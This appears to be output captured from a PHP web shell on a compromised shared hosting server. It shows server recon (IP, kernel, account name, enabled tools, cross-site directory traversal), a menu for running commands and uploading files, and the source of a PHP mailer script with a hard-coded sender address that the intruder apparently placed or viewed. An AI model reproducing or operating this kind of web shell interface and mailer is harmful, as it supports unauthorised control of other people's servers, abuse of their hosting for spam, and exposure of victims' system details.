Server IP : 103.53.40.154 / Your IP : 3.145.9.200 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/biocareaqua.org/../agarsarbharat.com/../maiclaliyana.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php if(isset($_POST['submit'])) { if (!isset($_POST['to']) || empty($_POST['to']) || !isset($_POST['subject']) || empty($_POST['subject']) || !isset($_POST['message']) || empty($_POST['message']) || !isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) { echo "<script>alert('Please fill in all required fields and upload a valid file.')</script>"; exit; } // Sanitize input data $to = filter_var($_POST['to'], FILTER_SANITIZE_EMAIL); $subject = filter_var($_POST['subject'], FILTER_SANITIZE_FULL_SPECIAL_CHARS); $msg = filter_var($_POST['message'], FILTER_SANITIZE_FULL_SPECIAL_CHARS); // Validate email address if (!filter_var($to, FILTER_VALIDATE_EMAIL)) { echo "<script>alert('Invalid email address.')</script>"; exit; } // Validate uploaded file $file_name = $_FILES['file']['name']; $file_type = $_FILES['file']['type']; $file_size = $_FILES['file']['size']; $allowed_types = array('image/jpeg', 'image/png', 'application/pdf'); // Allowed file types $max_file_size = 1024 * 1024; // Maximum file size (in bytes) if (!in_array($file_type, $allowed_types) || $file_size > $max_file_size) { echo "<script>alert('Invalid file type or size. Only JPEG, PNG, and PDF files up to 1MB are allowed.')</script>"; exit; } // Prepare email headers and message $boundary = md5(date('r', time())); $headers = "MIME-Version: 1.0\r\n"; $headers .= "From: <khan.ak065@gmail.com>\r\n"; $headers .= "Content-Type: multipart/mixed; boundary=" . $boundary . "\r\n"; $message = "\r\n\r\n--" . $boundary . "\r\n"; $message .= "Content-type: text/plain; charset=\"iso-8859-1\"\r\n"; $message .= "Content-Transfer-Encoding: 7bit\r\n\r\n"; $message .= $msg."\r\n\r\n"; $message .= "--" . $boundary . "\r\n"; $message .= "Content-type:".$file_type."\r\n"; $message .= "Content-Transfer-Encoding: base64\r\n"; $message .= "Content-Disposition: attachment; filename=".$file_name."\r\n\r\n"; $message .= chunk_split(base64_encode(file_get_contents($_FILES['file']['tmp_name']))) . "\r\n"; // Send email $mail_sent = @mail($to, $subject, $message, $headers); if ($mail_sent) { echo "<script>alert('Mail sent.')</script>"; echo "<script>window.open('https://gmail.com')</script>"; } else { echo "<script>alert('Mail failed to send.')</script>"; echo "<script>window.open('https://google.com')</script>"; } } ?> <!DOCTYPE html> <html lang="en" class="no-js"> <head> <meta charset="utf-8"> <meta http-equiv="Content-Type" content="text/html"> <title>Send Mail</title> <meta name="author" content="Dilip Agarwal"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> </head> <body> <form action="" method="post" enctype="multipart/form-data"> <div class="container"> <div class="row text-center" style=""> <div class="col-lg-offset-3 col-lg-7" style="box-shadow: 0 3px 20px 0px rgba(0, 0, 0, 0.1);"> <h2 class="text-center" style="color:grey">Send mail using Php with attachment</h3> <div class="row firstrow"> <div class="col-lg-5"> <input type="email" class="text-center" Placeholder="Enter Your Email" name="to" required /> </div> <div class="col-lg-offset-2 col-lg-5 box"> <input type="text" class="text-center" placeholder="Enter Your Subject" name="subject" required /> </div> </div> <label for="file-upload" class="custom-file-upload"> <i class="fa fa-cloud-upload"></i> Upload Your File Here </label> <input id="file-upload" type="file" name="file" required /> <br><br><br> <div class="row"> <textarea placeholder="Enter Your Message" rows="3" cols="60" name="message"></textarea> </div> <div class="submit"> <button type="submit" class="" name="submit">Send Mail</button> <br> </div> </div> </div> </div> </form> </body> </html>